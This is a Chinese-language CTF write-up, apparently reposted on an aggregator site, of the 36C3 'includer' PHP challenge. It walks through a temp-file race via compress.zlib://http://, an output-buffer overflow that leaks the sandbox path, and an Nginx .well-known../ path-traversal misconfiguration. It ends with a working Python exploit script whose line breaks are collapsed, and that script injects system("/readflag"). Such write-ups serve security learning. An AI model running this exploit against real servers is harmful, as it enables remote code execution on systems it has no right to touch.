ctf-36C3解析

一、环境

unbentu

这道题给了docker环境,gethub上面自己找

一个好用的linux全局切换梯子proxychains

二、开始解析

2.1初始

 2.2编译

docker build .

 2.3代理设置完毕

我试了一下代理还是不行,我们换源尝试一下

RUN sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list && \sed -i 's/security.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list

 

之后便可正常部署了

docker build -t includer .

 搞定

运行一下镜像

docker run -itd -p 8004:80 loadbalance-jsp_lbsnode1

 生成

搭建完成之后运行在web界面显示是以下则搭建成功

 那分析一下代码吧,使用vs code进行远程的连接

代码还是比较简单的

 先是语言模式,然后生成32位随机字符转成16进制,执行完以后读文件看文件中是否有<?,如果有直接给删除掉,那我们思路就很清晰了包含file

之后去读取,我们肯定想包含底下这个但是因为有<?

<?php system("/readflag")

那我们就可以思考一个问题,可不可以生成一个临时文件,临时文件可不可以竞争

意思也就是我们一开始传一个正常的文件,之后传一个带一句话木马的文件,如果可以竞争的话在php代码还没有判断之前,第二个文件会对第一个文件进行覆盖

三、理论形成,实践开始

我们需要fswatch去监控,这个gethub上面直接安装,安装地址是是

Release fswatch v. 1.17.1 · emcrisostomo/fswatch · GitHub

之后打开kill使用BurpSuite

但是这种情况我测试,测试不成功,只能使用底下的python去测试 

小结一下吧,不然上面显的乱

如果PHP_STREAM_PREFER_STDIO已设置,则会调用php_stream_fopen_tmpfile()创建临时文件。

所以我们现在可以创建具有任意内容的临时文件。

我们的目标很明显:

  1. 用于compress.zlib://http://myserver上传一些垃圾,但不要关闭连接

  2. 用于.well-known../files/xxxxxxxxxxx/列出我们的临时文件名(xxxxxxxxxxx 是目录名)

  3. 用于file_get_contents与另一个会话读取临时文件

  4. 因为临时文件不包含<?,所以它会通过检查

  5. 从之前的连接发送我们的 php 代码

  6. 将临时文件包含在我们的 php 代码中

因为我们需要在file_get_contents()和之间发送 php 代码include(),所以我们应该竞争它!(步骤3~步骤6)

还有一个问题,我们需要在步骤1中获取目录名,但是无法关闭连接。

为了解决这个问题,我们使用 来$_POST['name']填充 php 输出缓冲区。

然后我们将看到随机目录名称而不关闭连接。

四、总结

所以整个流程我们可以总结为以下:

1.利用compress.zlib://http://或者compress.zlib://ftp://来上传任意文件,并保持 HTTP 长链接竞争保存我们的临时文件

2.利用超长的 name 溢出 output buffer 得到 sandbox 路径

3.利用 Nginx 配置错误,通过.well-known../files/sandbox/来获取我们 tmp 文件的文件名

Nginx配置错误:Vulhub - Docker-Compose file for vulnerability environment

目录穿越:

4.发送另一个请求包含我们的 tmp 文件,此时并没有 PHP 代码

5.绕过 WAF 判断后,发送 PHP 代码段,包含我们的 PHP 代码拿到 Flag

整个题目的关键点主要是以下几点:

要利用大文件或ftp速度限制让连接保持

传入name过大 overflow output buffer,在保持连接的情况下获取沙箱路径

tmp文件需要在两种文件直接疯狂切换,使得第一次file_get_contents获取的内容不带有<?,include的时候是正常php代码,需要卡时间点,所以要多跑几次才行

.well-known../files/是nginx配置漏洞,就不多说了,用来列生成的tmp文件

五、python代码

exp for 36c3 includer (github.com)

导入系统然后跑程序,但是它的代码引用后有问题,我进行了简单的修改后即可包含成功

import requests
from pwn import *for i in range(100):r=remote("192.168.170.145",8004)l=listen(9090)# get filenamedata = """name={}&file=compress.zlib://http://192.168.170.145:9090""".format("a" * 8050)#这里要选择合适的长度来溢出payload = """POST / HTTP/1.1
Host: 192.168.170.145:8004
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: {}{}""".format(len(data), data).replace("\n", "\r\n").encode()r.send(payload)try:r.recvuntil("your sandbox: ".encode())except EOFError:print("[ERROR]"+"EOFError")r.close()continuedirname=r.recvuntil('\n'.encode(),drop=True).decode()+'/'print("[DEBUG]:dirname:"+dirname)c=l.wait_for_connection()# send trash 来让临时文件存活更久trash = '''HTTP/1.1 200 OK
Date: Sun, 29 Dec 2019 05:22:47 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 534
Content-Type: text/html; charset=UTF-8
Connection: keep-alive{}'''.format('A' * 5000000).replace("\n", "\r\n").encode() # 要控制垃圾数据的大小c.send(trash)url="http://192.168.170.145:8004/.well-known../"+dirnameprint(url)res1=requests.get(url=url)try:tmpname = "php" + re.findall(">php(.*)<\/a", res1.text)[0]print("[DEBUG]:" + tmpname)except IndexError:print("i will close")l.close()r.close()print("[ERROR]: IndexErorr")continuedef job():time.sleep(0.02)phpcode = 'wtf<?php system("/readflag");?>'c.send(phpcode)t = threading.Thread(target = job)t.start()exp_filename=dirname+tmpnameprint("[DEBUG]:"+exp_filename)res2=requests.post("http://192.168.170.145:8004/",data={"file":exp_filename})print(res2.text,res2.status_code)if "wtf" in res2.text:breakl.close()r.close()c.close()

 自然包含成功

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/576987.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

7 AOP事务管理

文章目录 6.1 Spring事务简介6.1.1 相关概念介绍6.1.2 转账案例-需求分析6.1.3 转账案例-环境搭建步骤1:准备数据库表步骤2:创建项目导入jar包步骤3:根据表创建模型类步骤4:创建Dao接口步骤5:创建Service接口和实现类步骤6:添加jdbc.properties文件步骤7:创建JdbcConfig配置类步…

element plus的el-image图片发布到nginx不显示

问题&#xff1a; <el-image alt""src"/img/month-b.png" class"card-icon"style"width: 89px;height: 89px;right: -7px;top: -5px;"/> 部署到nginx二级路由访问地址是&#xff1a; http://192.168.1.207/divided/# 这时候使用…

R语言赋值符号<-、=、->、<<-、->>的使用与区别

R语言的赋值符号有&#xff1c;-、、-&#xff1e;、&#xff1c;&#xff1c;-、-&#xff1e;&#xff1e;六种&#xff0c;它们的使用与区别如下: <-’&#xff1a;最常用的赋值符号。它将右侧表达式的值赋给左侧的变量&#xff0c;像一个向左的箭头。例如&#xff0c;x …

EasyExcel 复杂表头的导出(动态表头和静态表头)

问题&#xff1a;如图&#xff0c;1部分的表头是动态的根据日期变化&#xff0c;2部分是数据库对应的字段&#xff0c;静态不变的&#xff1b; 解决方案&#xff1a;如果不看1的部分&#xff0c;2部分内容可以根据实体类注解的方式导出&#xff0c;那么我们是不是可以先将动态表…

UKP3d,AutoPDMS出轴测图时的焊点设置

焊点的设置是关联元件库里的连接方式&#xff08;焊点设置不成功&#xff0c;请查看元件的连接方式&#xff09;&#xff0c;看元件的连接方式如下&#xff1a; 转到两次查看元件连接类型

蓝桥杯23年第十四届省赛真题-三国游戏|贪心,sort函数排序

题目链接&#xff1a; 1.三国游戏 - 蓝桥云课 (lanqiao.cn) 蓝桥杯2023年第十四届省赛真题-三国游戏 - C语言网 (dotcpp.com) 虽然这道题不难&#xff0c;很容易想到&#xff0c;但是这个视频的思路理得很清楚&#xff1a; [蓝桥杯]真题讲解&#xff1a;三国游戏&#xff0…

计算机网络——数据链路层(差错控制)

计算机网络——数据链路层&#xff08;差错控制&#xff09; 差错从何而来数据链路层的差错控制检错编码奇偶校验码循环冗余校验&#xff08;CRC&#xff09;FCS 纠错编码海明码海明距离纠错流程确定校验码的位数r确定校验码和数据位置 求出校验码的值检错并纠错 我们今年天来继…

Spring用到了哪些设计模式?

目录 Spring 框架中⽤到了哪些设计模式&#xff1f;工厂模式单例模式1.饿汉式&#xff0c;线程安全2.懒汉式&#xff0c;线程不安全3.懒汉式&#xff0c;线程安全4.双重检查锁&#xff08;DCL&#xff0c; 即 double-checked locking&#xff09;5.静态内部类6.枚举单例 代理模…

基于Java在线考试系统系统设计与实现(源码+部署文档)

博主介绍&#xff1a; ✌至今服务客户已经1000、专注于Java技术领域、项目定制、技术答疑、开发工具、毕业项目实战 ✌ &#x1f345; 文末获取源码联系 &#x1f345; &#x1f447;&#x1f3fb; 精彩专栏 推荐订阅 &#x1f447;&#x1f3fb; 不然下次找不到 Java项目精品实…

Spring Transaction 指定事务管理器问题

一&#xff0c;单个数据源&#xff0c;单个事务管理器与Transactional默认事务管理器名称不一致问题 在平时代码中使用声明性事务时&#xff0c;直接在方法上面加注解即可&#xff0c;如下 Transactional(rollbackFor Exception.class) 并没有指定事务管理器&#xff0c;为…

农学院智慧农业产教融合基地解决方案

第一章 背 景 1.1国际数字农业发展概况 随着全球信息化、智能化技术的快速发展&#xff0c;数字农业作为现代农业发展的重要方向&#xff0c;正日益受到国际社会的广泛关注。数字农业依托物联网、大数据、云计算、人工智能等现代信息技术&#xff0c;实现农业生产全过程的智能…

GTC 2024 火线评论:DPU 重构文件存储访问

编者按&#xff1a;英伟达2024 GTC 大会上周在美国加州召开&#xff0c;星辰天合 CTO 王豪迈在大会现场参与了 GPU 与存储相关的最新技术讨论&#xff0c;继上一篇《GTC 2024 火线评论&#xff1a;GPU 的高效存储利用》之后&#xff0c;这是他发回的第二篇评论文章。 上一篇文章…